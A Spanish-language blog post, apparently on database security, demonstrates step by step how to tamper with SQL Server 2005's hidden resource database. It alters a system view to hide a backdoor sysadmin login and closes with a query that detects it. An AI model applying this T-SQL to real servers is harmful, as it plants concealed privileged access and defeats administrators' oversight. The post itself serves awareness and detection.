En un post anterior hablamos sobre la merma de seguridad que los rootkits o las modificaciones que un ex administrador puede dejar ocultas en nuestro sistema SQL 2000. En SQL Server 2000 vimos que la protección para la modificación de objetos de sistema es bastante básica pues simplemente tenemos que habilitar la opción “allow updates” con sp_configure para poder modificarlos a nuestro antojo. En SQL Server 2005 Microsoft modificó muy sustancialmente el almacenamiento de dichos objetos de sistema, pasando a pertenecer a una base de datos oculta llamada mssqlsystemresource. Podemos detectar su presencia al ver los dicheros de datos y de log de dicha base de datos en el directorio DATA de la instancia en SQL Server 2005 :
Sin embargo no es posible detectar directamente la presencia de dichas bases de datos con una consulta a sys.databases por ejemplo. El motivo es que la propia vista sys.databases filtra dicha base de datos como una forma de protección por ofuscamiento. Para ver qué posibilidades de modificación tenemos en 2005 vamos a montar una copia de la base de datos resources. Para ello necesitaremos habilitar la conexión DAC (Dedicated Administrator Conection):
sp_configure ‘remote admin connections’,1
reconfigure
Una vez habilitada, abriremos una nueva consulta con Management Studio utilizando la DAC indicando como nombre de servidor “ADMIN:nombre_serverinstancia”:
El siguiente paso será crearnos una copia de los ficheros de la base de datos de recursos y con esta nueva conexión administrativa crearemos una nueva base de datos con los nuevos ficheros:
CREATE DATABASE [copy of mssqlsystemresource]
ON
(FILENAME =
‘ C:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLDataCopy of mssqlsystemresource.mdf’),
(FILENAME =
‘ C:Program FilesMicrosoft SQL ServerMSSQL.1MSSQLDataCopy of mssqlsystemresource.ldf’)
FOR ATTACH
Si todo ha ido bien tendremos la nueva base de datos disponible lo cual podemos comprobarlo por ejemplo en la tabla sysdbreg que nos mostrará todas las bases de datos reales (incluyendo las que nos oculta sys.databases):
select * from master.sys.sysdbreg
Si la base de datos recién creada nos aparece en modo solo lectura, cambiaremos a modo lectura escritura:
sp_dboption ‘copy of mssqlsystemresource’,‘Read_Only’,‘false’
Como ejemplo de tampering vamos a modificar la vista sys.server_principals para ocultar un login sysadmin que nos crearemos como puerta trasera. La definición de la vista es la siguiente:
ALTER VIEW [sys].[server_principals] AS
SELECT p.name,
p.id AS principal_id,
p.sid, p.type,
n.name AS type_desc,
is_disabled = sysconv(bit, p.status & 0x80),
p.crdate AS create_date,
p.modate AS modify_date,
p.dbname AS default_database_name,
p.lang AS default_language_name,
r.indepid AS credential_id
FROM master.sys.sysxlgns p
LEFT JOIN sys.syspalnames n ON n.class = ‘LGTY’ AND n.value = p.type
LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 — SRC_LOGIN_CREDENTIAL
WHERE has_access(‘LG’, p.id) = 1
AND p.type <> ‘M’ — exclude component logins
GO
Si intentamos ejecutar el ALTER mostrado, obtendremos un error diciendo que se desconoce la función “sysconv” y “has_access”. Esto es debido a que son funciones que únicamente son accesibles a nivel interno, no están dentro de la gramática TSQL estándar, y el parser no nos permite crearlas. Por tanto el sysconv lo cambiaremos por un convert mientras que la función has_access la eliminaremos directamente de la consulta. Para rematar la faena ocultaremos el principal con nombre “MiSA” que será nuestro usuario SA oculto:
ALTER VIEW [sys].[server_principals] AS
SELECT p.name,
p.id AS principal_id,
p.sid, p.type,
n.name AS type_desc,
is_disabled = convert(bit, p.status & 0x80),
p.crdate AS create_date,
p.modate AS modify_date,
p.dbname AS default_database_name,
p.lang AS default_language_name,
r.indepid AS credential_id
FROM master.sys.sysxlgns p
LEFT JOIN sys.syspalnames n ON n.class = ‘LGTY’ AND n.value = p.type
LEFT JOIN sys.syssingleobjrefs r ON r.depid = p.id AND r.class = 63 AND r.depsubid = 0 — SRC_LOGIN_CREDENTIAL
WHERE –has_access(‘LG’,p.id)=1
p.type <> ‘M’ — exclude component logins
AND p.name <> ‘MiSA’
GO
Una vez introducida la DMV crearemos el usuario MiSA como sysadmin:
CREATE LOGIN [MiSA] WITH PASSWORD=N’Pa$$w0rd’, CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
EXEC master..sp_addsrvrolemember @loginame = N’MiSA’, @rolename = N’sysadmin’
Si anteriormente hemos cambiado la base de datos desde un estado de solo lectura volveremos a dejarla tal y como estaba:
sp_dboption ‘copy of mssqlsystemresource’,‘Read_Only’,‘true’
Una vez hecho esto, haremos un detach de la copia de la nueva base de datos de recursos, detendremos el servicio SQL Server, machacaremos los ficheros de la base de datos mssqlsystemresource con los que hemos modificado y volveremos a arrancar el servicio. A continuación nos conectaremos con nuestro usuario MiSA y podemos ver cómo desde Management Studio no nos aparece nuestro login:
Tampoco nos aparecerá en las vistas más habituales:
select count(*) from sys.server_principals where name =‘MiSA’
select count(*) from sys.syslogins where name =‘MiSA’
select count(*) from syslogins where name =‘MiSA’
Tampoco dentro de los usuarios que se muestran como sysadmin:
¿Cómo podemos detecta su presencia? Pues accediendo de nuevo mediante la DAC y consultando directamente la tabla base:
select * from master.sys.sysxlgns
where name = ‘MiSA’
En conclusión, aunque SQL Server 2005 va más allá en la seguridad de SQL 2000 aún sigue siendo relativamente sencillo el realizar modificaciones potencialmente peligrosas. En un próximo post analizaremos si esta técnica es factible contra SQL Server 2008 J
